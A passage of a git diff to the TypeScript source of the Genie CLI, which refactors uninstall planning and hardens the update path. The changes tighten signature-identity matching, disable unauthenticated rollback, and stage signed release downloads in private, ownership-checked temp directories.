removeSymlinkMembers( return failures; } progress.complete(member); - if (symlinks.removed.length > 0) console.log(` \x1b[32m+\x1b[0m Removed: ${name}`); + if (symlinks.removed.length > 0) console.log(` \x1b[32m+\x1b[0m Removed: ${symlink.name}`); } return failures; } @@ -2084,9 +3044,10 @@ function performUninstallScope( genieDir: string, scope: UninstallBatchScope, progress: UninstallBatchProgressController, + homeRemovalOptions: GenieHomeRemovalOptions = {}, ): UninstallResult { const result: UninstallResult = { failures: [], preserved: [], notes: [] }; - const rulesFailure = removeRulesMember(genieDir, scope.ownedRulesPath, progress); + const rulesFailure = removeRulesMember(genieDir, scope.ownedRules, result, progress); if (rulesFailure) { result.failures.push(rulesFailure); return result; @@ -2102,7 +3063,13 @@ function performUninstallScope( // Preserve the CLI and external recovery root while any requested removal is // incomplete, otherwise the user loses the easiest retry path. - const homeFailure = removeGenieHomeMember(genieDir, scope.genieHomePresent, progress); + const homeFailure = removeGenieHomeMember( + genieDir, + scope.genieHomeIdentity, + scope.genieHomeRemovalDigest, + progress, + homeRemovalOptions, + ); if (homeFailure) { result.failures.push(homeFailure); return result; @@ -2110,7 +3077,7 @@ function performUninstallScope( // Keep the normal command path available whenever any failure-prone cleanup // or GENIE_HOME removal failed. Once the home is gone, only dangling source- // install links remain and can be removed as the final commit step. - result.failures.push(...removeSymlinkMembers(genieDir, scope.symlinks, progress)); + result.failures.push(...removeSymlinkMembers(genieDir, scope.symlinks, result, progress)); return result; } @@ -2119,8 +3086,121 @@ export interface PerformUninstallDependencies { agentSyncTargets?: AgentSyncRemovalTargets; /** Avoid consulting process-global legacy rules state in isolated tests. */ orchestrationRulesPath?: string; + /** Deterministic capture/backup boundaries for injected v4 rules fixtures. */ + v4RulesRemoval?: V4RulesRemovalOptions; + /** Injected source-link directory and capture boundary for compatibility fixtures. */ + sourceSymlinkLocalBin?: string; + sourceSymlinkRemoval?: Pick; /** Avoid process-global runtime integration mutation in isolated tests. */ removeRuntimeIntegrations?: (removeMarketplace: boolean) => void; + /** Deterministic barriers for source-root replacement fixtures. */ + genieHomeRemoval?: GenieHomeRemovalOptions; +} + +interface CompatibilityUninstallPlan { + targets: AgentSyncRemovalTargets; + genieHome: string; + genieHomeIdentity: PhysicalRootIdentity | null; + genieHomeRemovalDigest: string | null; + hasCurrentAgentAssets: boolean; + injectedRules: ProvenV4Rules | null; + removeMarketplace: boolean; + sourceSymlinkLocalBin: string; + sourceSymlinks: Map; +} + +/** Build the immutable authority used by the legacy injected test seam. */ +function planCompatibilityUninstall( + existingSymlinks: string[], + genieDir: string, + hasGenieDir: boolean, + hasAgentAssets: boolean, + removeMarketplace: boolean, + dependencies: PerformUninstallDependencies, +): CompatibilityUninstallPlan | null { + const targets = dependencies.agentSyncTargets ?? {}; + const genieHome = targets.genieHome ?? resolveGenieHome(); + const agentInspection = inspectAgentSyncAssets(targets); + if (agentInspection.claudeAgentManifest.kind === 'unsafe') return null; + const hasCurrentAgentAssets = hasAgentAssets && agentInspection.assets.length > 0; + const genieHomeIdentity = hasGenieDir ? inspectRemovableGenieRoot(genieDir) : null; + const genieHomeRemovalDigest = + genieHomeIdentity === null ? null : captureGenieHomeRemovalDigest(genieDir, genieHomeIdentity); + const injectedRules = + dependencies.orchestrationRulesPath !== undefined && existsSync(dependencies.orchestrationRulesPath) + ? captureProvenV4RulesIdentity(dependencies.orchestrationRulesPath) + : null; + const sourceSymlinkLocalBin = dependencies.sourceSymlinkLocalBin ?? LOCAL_BIN; + const plannedNames = existingSymlinks.filter((name): name is (typeof SYMLINKS)[number] => + SYMLINKS.some((candidate) => candidate === name), + ); + const sourceSymlinks = new Map(); + for (const name of plannedNames) { + const owned = ownedSourceSymlink(join(sourceSymlinkLocalBin, name), genieDir); + if (owned !== null) sourceSymlinks.set(name, owned); + } + if ( + !hasCurrentAgentAssets && + genieHomeIdentity === null && + injectedRules === null && + existingSymlinks.length === 0 && + !removeMarketplace + ) { + return null; + } + return { + targets, + genieHome, + genieHomeIdentity, + genieHomeRemovalDigest, + hasCurrentAgentAssets, + injectedRules, + removeMarketplace, + sourceSymlinkLocalBin, + sourceSymlinks, + }; +} + +/** Execute a compatibility plan while its lifecycle lock remains held. */ +function executeCompatibilityUninstall( + genieDir: string, + plan: CompatibilityUninstallPlan, + dependencies: PerformUninstallDependencies, +): void { + if (plan.hasCurrentAgentAssets) { + const removal = removeAgentSyncAssetsLocked(plan.targets); + if (removal.failures.length > 0) return; + } + if (plan.injectedRules !== null) { + try { + removeProvenV4Rules(genieDir, plan.injectedRules, dependencies.v4RulesRemoval); + } catch (error) { + console.log(` \x1b[33m!\x1b[0m Preserved v4 rules: ${errorMessage(error)}`); + return; + } + } + (dependencies.removeRuntimeIntegrations ?? removeRuntimeIntegrations)(plan.removeMarketplace); + const manifest = readAgentFilesManifestState(join(plan.targets.claudeDir ?? resolveClaudeDir(), 'agents')); + if (manifest.kind === 'unsafe' || (manifest.kind === 'managed' && Object.keys(manifest.files).length > 0)) return; + if (plan.genieHomeIdentity !== null && plan.genieHomeRemovalDigest !== null) { + try { + removeGenieDirPreservingStateBackups( + genieDir, + plan.genieHomeIdentity, + plan.genieHomeRemovalDigest, + dependencies.genieHomeRemoval, + ); + } catch (error) { + console.log(` \x1b[33m!\x1b[0m Preserved Genie install state: ${errorMessage(error)}`); + return; + } + } + if (plan.sourceSymlinks.size > 0) { + removeSymlinks(plan.sourceSymlinkLocalBin, genieDir, [...plan.sourceSymlinks.keys()], { + planned: plan.sourceSymlinks, + beforeCapture: dependencies.sourceSymlinkRemoval?.beforeCapture, + }); + } } /** @@ -2137,41 +3217,25 @@ export function performUninstall( removeMarketplace: boolean, dependencies: PerformUninstallDependencies = {}, ): void { - const targets = dependencies.agentSyncTargets ?? {}; - const genieHome = targets.genieHome ?? resolveGenieHome(); - const hasCurrentAgentAssets = hasAgentAssets && collectAgentSyncAssets(targets).length > 0; - const hasRemovableGenieDir = hasGenieDir && hasRemovableGenieInstallState(genieDir); - const hasInjectedRules = - dependencies.orchestrationRulesPath !== undefined && existsSync(dependencies.orchestrationRulesPath); - if ( - !hasCurrentAgentAssets && - !hasRemovableGenieDir && - !hasInjectedRules && - existingSymlinks.length === 0 && - !removeMarketplace - ) { - return; - } + const plan = planCompatibilityUninstall( + existingSymlinks, + genieDir, + hasGenieDir, + hasAgentAssets, + removeMarketplace, + dependencies, + ); + if (plan === null) return; let lock: { release: () => void } | null; try { - lock = acquireAgentSyncLock(genieHome); + lock = acquireAgentSyncLock(plan.genieHome); } catch { return; } if (lock === null) return; try { - if (hasCurrentAgentAssets) { - const removal = removeAgentSyncAssetsLocked(targets); - if (removal.failures.length > 0) return; - } - if (hasInjectedRules) unlinkSync(dependencies.orchestrationRulesPath as string); - (dependencies.removeRuntimeIntegrations ?? removeRuntimeIntegrations)(removeMarketplace); - if (hasRemovableGenieDir) removeGenieDirPreservingStateBackups(genieDir); - const plannedNames = existingSymlinks.filter((name): name is (typeof SYMLINKS)[number] => - SYMLINKS.some((candidate) => candidate === name), - ); - if (plannedNames.length > 0) removeSymlinks(LOCAL_BIN, genieDir, plannedNames); + executeCompatibilityUninstall(genieDir, plan, dependencies); } finally { lock.release(); } @@ -2200,18 +3264,20 @@ function uninstallBatchScope(plan: UninstallPlan): UninstallBatchScope { ) .sort((left, right) => left.name.localeCompare(right.name)), codexRoleInventoryStatus: plan.codexRoleAgents.status, - genieHomePresent: plan.hasGenieDir, - ownedRulesPath: plan.hasOwnedRules ? resolve(plan.legacyReport.rulesFile.path) : null, + genieHomeIdentity: plan.genieHomeIdentity, + genieHomeRemovalDigest: plan.genieHomeRemovalDigest, + ownedRules: plan.ownedRules, removeMarketplace: plan.removeMarketplace, runtimeClients: { codex: plan.runtimeClients.codex, claude: plan.runtimeClients.claude }, runtimePlugins: { codex: plan.runtimeEvidence.codex, claude: plan.runtimeEvidence.claude }, - symlinks: SYMLINKS.filter((name) => plan.existingSymlinks.includes(name)), + symlinks: plan.ownedSourceSymlinks, }; } export function performFreshUninstallPlan( genieDir: string, removeMarketplace: boolean, + homeRemovalOptions: GenieHomeRemovalOptions = {}, ): { execution: UninstallPlan; result: UninstallResult; @@ -2222,6 +3288,9 @@ export function performFreshUninstallPlan( recoverUninstallTransactions(); const execution = inspectUninstallPlan(genieDir, removeMarketplace); const unsafeState = [ + ...(execution.claudeAgentManifest.kind === 'unsafe' + ? [`Claude agent ownership manifest is unsafe: ${execution.claudeAgentManifest.reason}`] + : []), ...(execution.codexRoleAgents.status === 'corrupt' ? [ `Codex role-agent ownership inventory is corrupt: ${execution.codexRoleAgents.error ?? execution.codexRoleAgents.inventoryPath}`, @@ -2236,7 +3305,7 @@ export function performFreshUninstallPlan( throw new Error(`uninstall preflight found unreadable or corrupt integration state: ${unsafeState.join('; ')}`); } const batch = executeUninstallBatch(genieDir, uninstallBatchScope(execution), (scope, progress) => - performUninstallScope(genieDir, scope, progress), + performUninstallScope(genieDir, scope, progress, homeRemovalOptions), ); return { execution, diff --git a/src/genie-commands/update.ts b/src/genie-commands/update.ts index 4f46a923b..4a36edf77 100644 --- a/src/genie-commands/update.ts +++ b/src/genie-commands/update.ts @@ -1,25 +1,24 @@ import { execFileSync, execSync, spawn } from 'node:child_process'; -import { createHash, randomUUID } from 'node:crypto'; +import { createHash } from 'node:crypto'; import { constants, + type BigIntStats, chmodSync, closeSync, - copyFileSync, existsSync, - fsyncSync, + fstatSync, lstatSync, mkdirSync, + mkdtempSync, openSync, readFileSync, readSync, - readdirSync, realpathSync, - renameSync, rmSync, statSync, writeFileSync, } from 'node:fs'; -import { homedir } from 'node:os'; +import { homedir, tmpdir } from 'node:os'; import { dirname, isAbsolute, join, relative, resolve, sep } from 'node:path'; import { type AgentSyncReport, @@ -33,6 +32,17 @@ import { import { getCodexHome } from '../lib/codex-config.js'; import { type CodexPluginProbe, type CodexPluginProbeDeps, probeCodexGeniePlugin } from '../lib/codex-project-mcp.js'; import { contractPath, genieConfigExists, getGenieConfigPath, saveGenieConfig } from '../lib/genie-config.js'; +import { + type InstallStagingDirectoryGuard, + admitExternalInstallStaging, + closeInstallStagingDirectory, + promoteStagedInstall, + recoverPendingInstallPromotions, + removeInstallStagingDirectory, + verifyAdmittedInstallStagingPayload, + verifyInstallStagingDirectory, +} from '../lib/install-promotion.js'; +import { inspectPhysicalPath } from '../lib/install-transaction.js'; import { type CodexAgentInstallResult, type CodexHealthProof, @@ -61,7 +71,6 @@ import { } from './auxiliary-trees.js'; import { cleanupV4 } from './legacy-v4.js'; import { type RefreshUpdatePluginsOptions, refreshUpdatePlugins } from './update-integrations.js'; - const GENIE_HOME = process.env.GENIE_HOME || join(homedir(), '.genie'); const GENIE_BIN = join(GENIE_HOME, 'bin'); const GENIE_BIN_STAGING = join(GENIE_BIN, '.staging'); @@ -89,7 +98,7 @@ const RELEASES_OWNER = 'automagik-dev'; const RELEASES_REPO = 'genie'; const RAW_BASE_URL = 'https://raw.githubusercontent.com'; const RELEASES_SLUG = `${RELEASES_OWNER}/${RELEASES_REPO}`; -const EXPECTED_COSIGN_IDENTITY = `^https://github.com/${RELEASES_SLUG}/.github/workflows/sign-attest.yml@`; +const EXPECTED_COSIGN_IDENTITY = `^https://github\\.com/${RELEASES_SLUG}/\\.github/workflows/sign-attest\\.yml@refs/heads/main$`; const EXPECTED_COSIGN_ISSUER = 'https://token.actions.githubusercontent.com'; // ============================================================================ @@ -680,251 +689,52 @@ export async function extractTarball(tarballPath: string, destDir: string): Prom } } -/** - * Inode/device id of the directory that contains `path`. Returns `null` if - * `path` (or its parent) does not exist. Used by the atomic-swap pre-flight - * to confirm staging + target share a filesystem. - */ -function deviceIdFor(path: string): number | null { - const probe = existsSync(path) ? path : dirname(path); - try { - return statSync(probe).dev; - } catch { - return null; - } -} - -interface AtomicSwapResult { - oldVersionBackup: string | null; - swapped: boolean; - fallbackUsed: boolean; -} - -export interface AtomicBinarySwapOptions { - /** Failure-injection seam immediately before rename-over-live. */ - beforePromote?: (replacementPath: string, targetPath: string) => void; - /** Failure-injection seam immediately after rename-over-live. */ - afterPromote?: (targetPath: string) => void; - /** Keep a journal-bound source until the surrounding delivery commits. */ - preserveSource?: boolean; - /** Authenticated journal preimage consumed by this swap. */ - expectedPreimage?: PendingOptionalFileFingerprint; - /** Authenticated journal fingerprint of the binary being promoted. */ - expectedPayloadFingerprint?: PendingFileFingerprint; -} - -function fsyncFile(path: string): void { - const fd = openSync(path, 'r'); - try { - fsyncSync(fd); - } finally { - closeSync(fd); - } +function sameBigStat(left: BigIntStats, right: BigIntStats): boolean { + return ( + left.dev === right.dev && + left.ino === right.ino && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid && + left.nlink === right.nlink && + left.size === right.size && + left.mtimeNs === right.mtimeNs + ); } -function fsyncDirectory(path: string): void { - try { - const fd = openSync(path, 'r'); - try { - fsyncSync(fd); - } finally { - closeSync(fd); - } - } catch { - // Directory fsync is unavailable on some supported platforms. +function assertPrivatePhysicalFileStat(stat: BigIntStats, path: string): void { + const currentUid = typeof process.getuid === 'function' ? BigInt(process.getuid()) : stat.uid; + if (!stat.isFile() || stat.isSymbolicLink() || (stat.mode & 0o777n) !== 0o600n || stat.nlink !== 1n) { + throw new Error(`private transaction file has an unsafe shape: ${path}`); } + if (stat.uid !== currentUid) throw new Error(`private transaction file has another owner: ${path}`); } -/** - * Atomic binary swap. - * - * A complete replacement is first copied and fsynced beside the canonical - * target. The prior executable is copied (not moved) into `.previous`, then - * one rename-over-live atomically promotes the replacement. Consequently an - * interruption before promotion always leaves the old canonical executable - * runnable, regardless of the filesystem that held the downloaded staging - * file. The source staging file is only removed after successful promotion. - */ -export function atomicBinarySwap( - stagedBinPath: string, - targetBinPath: string, - previousDir: string, - oldVersion: string, - options: AtomicBinarySwapOptions = {}, -): AtomicSwapResult { - let stagedStat: ReturnType; - try { - stagedStat = lstatSync(stagedBinPath); - } catch { - throw new Error(`staged binary missing: ${stagedBinPath}`); - } - if (!stagedStat.isFile() || stagedStat.isSymbolicLink()) - throw new Error(`staged binary is not a physical file: ${stagedBinPath}`); - - const targetDir = dirname(targetBinPath); - mkdirSync(targetDir, { recursive: true }); - mkdirSync(previousDir, { recursive: true }); - - const stagingDev = deviceIdFor(stagedBinPath); - const targetDev = deviceIdFor(targetBinPath); - const sameFs = stagingDev !== null && targetDev !== null && stagingDev === targetDev; - - const transactionId = `${process.pid}-${randomUUID()}`; - const replacementPath = join(targetDir, `.genie-replacement-${transactionId}`); - let backupStaging: string | null = null; - let oldBackup: string | null = null; - const expectedPreimage = - options.expectedPreimage ?? fingerprintOptionalPhysicalFile(targetBinPath, 'live binary preimage'); +function readPrivatePhysicalFile(path: string): Buffer { + const beforePath = lstatSync(path, { bigint: true }); + assertPrivatePhysicalFileStat(beforePath, path); + const fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); try { - // The replacement is fully copied, executable, and durable in the target - // directory before the live canonical path is touched. - copyFileSync(stagedBinPath, replacementPath, constants.COPYFILE_EXCL); - chmodSync(replacementPath, 0o755); - fsyncFile(replacementPath); - const expectedPayloadFingerprint = - options.expectedPayloadFingerprint ?? fingerprintPhysicalFile(replacementPath, 'replacement binary baseline'); - - assertExpectedBinaryPreimage(targetBinPath, expectedPreimage, 'before backup'); - let targetStat: ReturnType | null = null; - try { - targetStat = lstatSync(targetBinPath); - } catch { - targetStat = null; - } - if (targetStat !== null) { - if (!targetStat.isFile() || targetStat.isSymbolicLink()) - throw new Error(`live binary is not a physical file: ${targetBinPath}`); - const canonicalBackup = join(previousDir, `genie-${oldVersion}`); - oldBackup = existsSync(canonicalBackup) ? `${canonicalBackup}.${Date.now()}-${randomUUID()}` : canonicalBackup; - backupStaging = `${oldBackup}.staging-${transactionId}`; - copyFileSync(targetBinPath, backupStaging, constants.COPYFILE_EXCL); - chmodSync(backupStaging, targetStat.mode & 0o777); - fsyncFile(backupStaging); - renameSync(backupStaging, oldBackup); - backupStaging = null; - fsyncDirectory(previousDir); - assertAuthenticatedBinaryBackup(oldBackup, expectedPreimage); - } - - options.beforePromote?.(replacementPath, targetBinPath); - if (oldBackup !== null) assertAuthenticatedBinaryBackup(oldBackup, expectedPreimage); - // Consume exactly the journaled preimage at the last boundary available to - // portable Node. The lifecycle lease excludes Genie/install.sh writers; - // this recheck rejects any other writer observed before rename-over-live. - assertExpectedBinaryPreimage(targetBinPath, expectedPreimage, 'immediately before promotion'); - assertAuthenticatedBinaryPayload(replacementPath, expectedPayloadFingerprint, 'immediately before promotion'); - // rename-over-live is the only mutation of the canonical path. If the - // process dies before this call, the old executable remains runnable; if - // it dies after, the complete replacement is already live. - renameSync(replacementPath, targetBinPath); - options.afterPromote?.(targetBinPath); - assertAuthenticatedBinaryPayload(targetBinPath, expectedPayloadFingerprint, 'after promotion'); - fsyncDirectory(targetDir); - if (!options.preserveSource) { - try { - rmSync(stagedBinPath); - } catch { - // A disposable staging source may survive a successful promotion. - } + const before = fstatSync(fd, { bigint: true }); + assertPrivatePhysicalFileStat(before, path); + if (!sameBigStat(beforePath, before)) throw new Error(`private transaction file changed before read: ${path}`); + const bytes = readFileSync(fd); + const after = fstatSync(fd, { bigint: true }); + const afterPath = lstatSync(path, { bigint: true }); + if (!sameBigStat(before, after) || !sameBigStat(after, afterPath)) { + throw new Error(`private transaction file changed during read: ${path}`); } - return { oldVersionBackup: oldBackup, swapped: true, fallbackUsed: !sameFs }; - } catch (error) { - rmSync(replacementPath, { force: true }); - if (backupStaging !== null) rmSync(backupStaging, { force: true }); - throw error; - } -} - -function assertExpectedBinaryPreimage( - targetPath: string, - expected: PendingOptionalFileFingerprint, - phase: string, -): void { - const actual = fingerprintOptionalPhysicalFile(targetPath, `live binary ${phase}`); - const matches = - actual.present === expected.present && - (!actual.present || - (actual.fingerprint !== null && - expected.fingerprint !== null && - fingerprintsEqual(actual.fingerprint, expected.fingerprint))); - if (!matches) throw new Error(`live binary preimage changed ${phase}; refusing to overwrite ${targetPath}`); -} - -function assertAuthenticatedBinaryBackup(backupPath: string, expected: PendingOptionalFileFingerprint): void { - if (!expected.present || expected.fingerprint === null) { - throw new Error(`unexpected rollback backup for an absent binary preimage: ${backupPath}`); - } - const actual = fingerprintPhysicalFile(backupPath, 'previous binary backup'); - if (!fingerprintsEqual(actual, expected.fingerprint)) { - throw new Error(`rollback backup does not match the authenticated binary preimage: ${backupPath}`); - } -} - -function assertAuthenticatedBinaryPayload(path: string, expected: PendingFileFingerprint, phase: string): void { - const actual = fingerprintPhysicalFile(path, `binary payload ${phase}`); - if (!fingerprintsEqual(actual, expected)) { - throw new Error(`binary does not match the journaled payload fingerprint ${phase}: ${path}`); - } -} - -/** - * Keep only the backup created by the verified promotion for one old version. - * Pruning happens after live-binary verification, never before the new binary - * is known-good, so a failed promotion retains every rollback candidate. - */ -export function pruneSameVersionBackups(previousDir: string, oldVersion: string, retainedPath: string): string[] { - const canonicalPrefix = `genie-${oldVersion}`; - const retained = resolve(retainedPath); - const removed: string[] = []; - for (const entry of readdirSync(previousDir)) { - if (entry !== canonicalPrefix && !entry.startsWith(`${canonicalPrefix}.`)) continue; - const path = join(previousDir, entry); - if (resolve(path) === retained) continue; - const stat = lstatSync(path); - if (!stat.isFile() || stat.isSymbolicLink()) { - throw new Error(`refusing to prune non-physical binary backup: ${path}`); - } - rmSync(path); - removed.push(path); + return bytes; + } finally { + closeSync(fd); } - if (removed.length > 0) fsyncDirectory(previousDir); - return removed; } -/** - * Sync the per-binary VERSION stamp the compiled binary reads at startup. - * - * Why this exists: `src/lib/version.ts` resolves the running version by - * reading `dirname(process.execPath)/VERSION` — i.e. `~/.genie/bin/VERSION`, - * a sibling of the binary itself. The atomic swap replaces `~/.genie/bin/genie` - * but never touches that file. Result: a freshly-installed v binary - * reports v on `--version` until the next time something rewrites the - * stamp. The 2026-05-22 incident on khal-os triggered exactly this — the - * release tarball was correct, the swap was correct, but the stale stamp - * masqueraded as a swap failure for three consecutive `genie update` runs. - * - * The G1 tarball convention ships a `VERSION` file at the root of the - * extracted tree. Prefer copying that file (preserves whatever format - * `build-tarballs.yml` produced); fall back to writing `manifestVersion` - * directly when the tarball pre-dates the convention. - * - * Best-effort by design: write failures don't throw — the immediately- - * following `verifySwappedBinary` will catch any resulting mismatch and - * surface the structured error with full forensic context. - */ -export function syncBinaryVersionStamp(extractDir: string, binDir: string, manifestVersion: string): void { - const targetStamp = join(binDir, 'VERSION'); - const stagedStamp = join(extractDir, 'VERSION'); - try { - if (existsSync(stagedStamp)) { - copyFileSync(stagedStamp, targetStamp); - } else { - writeFileSync(targetStamp, `${manifestVersion}\n`); - } - } catch { - // verifySwappedBinary below will detect any version mismatch loudly; - // never abort the update over a non-essential metadata write. - } +function assertOwnedPhysicalDirectory(path: string, label: string): void { + const identity = inspectPhysicalPath(path); + if (identity?.kind !== 'directory') throw new Error(`${label} is not a physical directory: ${path}`); + const currentUid = typeof process.getuid === 'function' ? String(process.getuid()) : identity.uid; + if (identity.uid !== currentUid) throw new Error(`${label} has another owner: ${path}`); } /** @@ -1045,51 +855,22 @@ export function shouldEmitPathDivergenceWarning(input: PathDivergenceInput): boo return true; } -/** - * Restore the most recent backup from `~/.genie/bin/.previous/` to the live - * binary path. Throws if no backup exists. - */ +/** Read-only compatibility surface. Legacy backups contain only `genie`, not + * the exact sibling VERSION generation, so they cannot authorize mutation. */ +export function rollbackBinaryAt( + genieBin: string, + _currentVersion = normalizeVersion(VERSION), +): { restored: string; from: string } { + assertOwnedPhysicalDirectory(genieBin, 'rollback binary root'); + const previousDir = join(genieBin, '.previous'); + if (existsSync(previousDir)) assertOwnedPhysicalDirectory(previousDir, 'rollback backup root'); + throw new Error( + 'Automatic rollback is disabled: legacy .previous entries do not authenticate an exact genie+VERSION generation. Reinstall the desired signed version explicitly.', + ); +} + export function rollbackBinary(): { restored: string; from: string } { - if (!existsSync(GENIE_BIN_PREVIOUS)) { - throw new Error(`No rollback target: ${GENIE_BIN_PREVIOUS} does not exist`); - } - const candidates = readdirSync(GENIE_BIN_PREVIOUS) - .filter((entry) => entry.startsWith('genie-')) - .map((entry) => ({ entry, mtime: statSync(join(GENIE_BIN_PREVIOUS, entry)).mtimeMs })) - .sort((a, b) => b.mtime - a.mtime); - if (candidates.length === 0) { - throw new Error(`No rollback target: ${GENIE_BIN_PREVIOUS} is empty`); - } - const newest = candidates[0].entry; - const source = join(GENIE_BIN_PREVIOUS, newest); - const target = join(GENIE_BIN, 'genie'); - mkdirSync(GENIE_BIN, { recursive: true }); - - const sourceDev = deviceIdFor(source); - const targetDev = deviceIdFor(target); - const sameFs = sourceDev !== null && targetDev !== null && sourceDev === targetDev; - - // The current live binary is being supplanted — move it aside (so an - // interrupted rollback can be re-run) before swapping in the backup. - if (existsSync(target)) { - const replacedAt = join(GENIE_BIN_PREVIOUS, `${newest}.replaced.${Date.now()}`); - if (sameFs) renameSync(target, replacedAt); - else { - copyFileSync(target, replacedAt); - rmSync(target); - } - } - if (sameFs) renameSync(source, target); - else { - copyFileSync(source, target); - rmSync(source); - } - try { - chmodSync(target, 0o755); - } catch { - // best-effort - } - return { restored: target, from: source }; + return rollbackBinaryAt(GENIE_BIN); } // ============================================================================ @@ -1738,7 +1519,7 @@ export interface UpdateCommandOptions { restart?: boolean; /** `--no-verify`. Skips the post-update binary verify probe. */ verify?: boolean; - /** `--rollback`. Restore the most recent ~/.genie/bin/.previous backup. */ + /** `--rollback`. Read-only legacy check; directs operators to an explicit signed-version reinstall. */ rollback?: boolean; /** `--sync-only`. Converge agent integrations and return — no manifest * fetch, no binary swap. Equivalent to GENIE_UPDATE_SYNC_ONLY=1; the flag @@ -2139,6 +1920,43 @@ function runFreshConvergenceOrReport(lifecycleLease: LifecycleLease): boolean { } } +function recoverInstallPromotionAndConvergePayload(): void { + const genuinelyAbsent = (path: string): boolean => { + try { + lstatSync(path); + return false; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return true; + throw error; + } + }; + if (genuinelyAbsent(GENIE_HOME) || genuinelyAbsent(GENIE_BIN)) return; + const reports = recoverPendingInstallPromotions({ genieHome: GENIE_HOME }); + const outcomes = syncAuxiliaryContent(GENIE_BIN, GENIE_HOME, undefined, true); + const failures = outcomes.filter((outcome) => outcome.status === 'failed'); + if (failures.length > 0) { + throw new Error( + `committed install payload convergence failed: ${failures + .map((outcome) => `${outcome.label} (${outcome.stage})`) + .join(', ')}`, + ); + } + if (reports.length === 0 && outcomes.every((outcome) => outcome.status === 'skipped')) return; + const versionPath = join(GENIE_BIN, 'VERSION'); + const fd = openSync(versionPath, constants.O_RDONLY | constants.O_NOFOLLOW); + let exactVersion: Buffer; + try { + const before = fstatSync(fd, { bigint: true }); + if (!before.isFile() || before.isSymbolicLink()) throw new Error('live bin/VERSION is not a physical file'); + exactVersion = readFileSync(fd); + const after = fstatSync(fd, { bigint: true }); + if (!sameBigStat(before, after)) throw new Error('live bin/VERSION changed while recovery read it'); + } finally { + closeSync(fd); + } + writeFileSync(join(GENIE_HOME, 'VERSION'), exactVersion); +} + export async function updateCommand(options: UpdateCommandOptions = {}): Promise { const mode = resolveUpdateExecutionMode(options); if (mode !== 'normal') { @@ -2188,6 +2006,7 @@ export async function updateCommand(options: UpdateCommandOptions = {}): Promise // Revalidate durable recovery and the installed binary immediately after // acquiring the lease, before the first mutation owned by this plan. try { + recoverInstallPromotionAndConvergePayload(); resumePendingDelivery(); } catch (err) { error(`Pending update recovery failed: ${errMsg(err)}`); @@ -2452,6 +2271,75 @@ function errMsg(err: unknown): string { return err instanceof Error ? err.message : String(err); } +function currentUpdateUid(): bigint { + if (process.getuid === undefined) throw new Error('private update staging requires a POSIX user identity'); + return BigInt(process.getuid()); +} + +function sameDirectoryObject(left: BigIntStats, right: BigIntStats): boolean { + return ( + left.dev === right.dev && + left.ino === right.ino && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid + ); +} + +function assertTrustedUpdateTempParent(stat: BigIntStats, path: string): void { + if (!stat.isDirectory() || stat.isSymbolicLink() || stat.nlink < 1n) { + throw new Error(`update temp parent is not a physical directory: ${path}`); + } + const permissions = Number(stat.mode & 0o7777n); + const nonWritableByOtherPrincipals = (permissions & 0o022) === 0; + const rootSticky = stat.uid === 0n && (permissions & 0o1000) !== 0; + if (!nonWritableByOtherPrincipals && !rootSticky) { + throw new Error(`update temp parent permits unsafe cross-principal replacement: ${path}`); + } +} + +function assertPrivateUpdateTempRoot(path: string): void { + const stat = lstatSync(path, { bigint: true }); + if ( + !stat.isDirectory() || + stat.isSymbolicLink() || + stat.uid !== currentUpdateUid() || + stat.nlink < 1n || + (stat.mode & 0o777n) !== 0o700n + ) { + throw new Error(`update temp root is not an owned physical mode-0700 directory: ${path}`); + } +} + +/** Create private external download/extraction staging without touching GENIE_HOME. */ +export function createPrivateUpdateTempRoot(baseDir = tmpdir()): string { + const base = resolve(baseDir); + const namespaceParent = dirname(base); + const namespaceFd = openSync(namespaceParent, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + let parentFd: number | null = null; + try { + assertTrustedUpdateTempParent(fstatSync(namespaceFd, { bigint: true }), namespaceParent); + parentFd = openSync(base, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + const heldParent = fstatSync(parentFd, { bigint: true }); + assertTrustedUpdateTempParent(heldParent, base); + const root = mkdtempSync(join(base, 'genie-update-')); + chmodSync(root, 0o700); + assertPrivateUpdateTempRoot(root); + const visibleParentFd = openSync(base, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + try { + if (!sameDirectoryObject(heldParent, fstatSync(visibleParentFd, { bigint: true }))) { + throw new Error('update temp parent changed while private staging was created'); + } + } finally { + closeSync(visibleParentFd); + } + return root; + } finally { + if (parentFd !== null) closeSync(parentFd); + closeSync(namespaceFd); + } +} + /** * Tarball delivery + binary swap. Linear flow extracted from `updateCommand` * to keep the command body readable: download → verify → extract → swap → @@ -2462,144 +2350,133 @@ async function runDelivery( platform: string, diagnosticsCtx: UpdateDiagnosticsContext, ): Promise { + const externalRoot = createPrivateUpdateTempRoot(); + const extractedRoot = join(externalRoot, 'release-payload'); + mkdirSync(extractedRoot, { mode: 0o700 }); + chmodSync(extractedRoot, 0o700); + assertPrivateUpdateTempRoot(extractedRoot); + let admitted: InstallStagingDirectoryGuard | null = null; + let promotionComplete = false; log('Downloading signed tarball from GitHub Releases...'); - const tarballPath = await downloadAndVerifyTarball(manifest, platform, GENIE_BIN_STAGING); + const tarballPath = await downloadAndVerifyTarball(manifest, platform, externalRoot); diagnosticsCtx.tarballPath = tarballPath; diagnosticsCtx.attestationVerified = true; success(`Verified signed tarball for ${tarballPath.split('/').pop()}`); - log('Extracting tarball...'); - const extractDir = join(GENIE_BIN_STAGING, `extract-${manifest.version}`); - if (existsSync(extractDir)) rmSync(extractDir, { recursive: true, force: true }); - await extractTarball(tarballPath, extractDir); - - const stagedBin = join(extractDir, 'genie'); - if (!existsSync(stagedBin)) { - throw new Error(`tarball did not contain a 'genie' binary at ${stagedBin}`); - } - try { - chmodSync(stagedBin, 0o755); - } catch { - // best-effort - } + log('Extracting exact release payload...'); + await extractTarball(tarballPath, extractedRoot); - const oldVersion = normalizeVersion(VERSION); - log('Atomically swapping binary...'); - const targetBin = join(GENIE_BIN, 'genie'); - const pending = recordPendingDelivery({ - version: manifest.version, - previousVersion: oldVersion, - previousBinaryPath: targetBin, - extractDir, - tarballPath, - }); - const expectedPreimage = pending.payload.previousBinary; - if (expectedPreimage === undefined) throw new Error('pending delivery did not record the live binary preimage'); - const swapResult = atomicBinarySwap(stagedBin, targetBin, GENIE_BIN_PREVIOUS, oldVersion, { 